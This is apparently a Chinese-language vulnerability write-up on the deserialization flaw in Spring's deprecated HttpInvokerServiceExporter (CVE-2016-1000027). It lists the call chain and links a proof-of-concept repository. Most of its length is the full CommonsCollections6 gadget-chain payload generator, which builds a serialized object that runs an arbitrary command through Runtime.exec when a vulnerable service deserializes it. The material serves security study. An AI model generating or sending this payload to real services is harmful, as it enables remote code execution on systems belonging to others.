漏洞现象
如果使用已过时的类: HttpInvokerServiceExporter, 监听 URI, 则此 URI 存在反序列化漏洞
调用链
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HttpInvokerServiceExporter.handleRequest
HttpInvokerServiceExporter.readRemoteInvocation
RemoteInvocationSerializingExporter.createObjectInputStream
RemoteInvocationSerializingExporter.doReadRemoteInvocation
RemoteInvocationSerializingExporter.readObject
复现过程
查看 git 仓库: https://github.com/artem-smotrakov/cve-2016-1000027-poc
具体原因
ReadObject 在反序列化实体时, 没有安全检测, 可利用反序列化机制进行系统调用
使用 common 包来生产漏洞文件, 漏洞的触发条件是类在反序列化时, 由于要向 map 中 put value, 而 put 方法需要使用 hashcode 方法来生成 key 的 hashcode 值, 调用了 hashcode 方法, 而 hashcode 方法调用了 getKey 方法, getKey 方法触发了 Runtime 的执行:
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/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}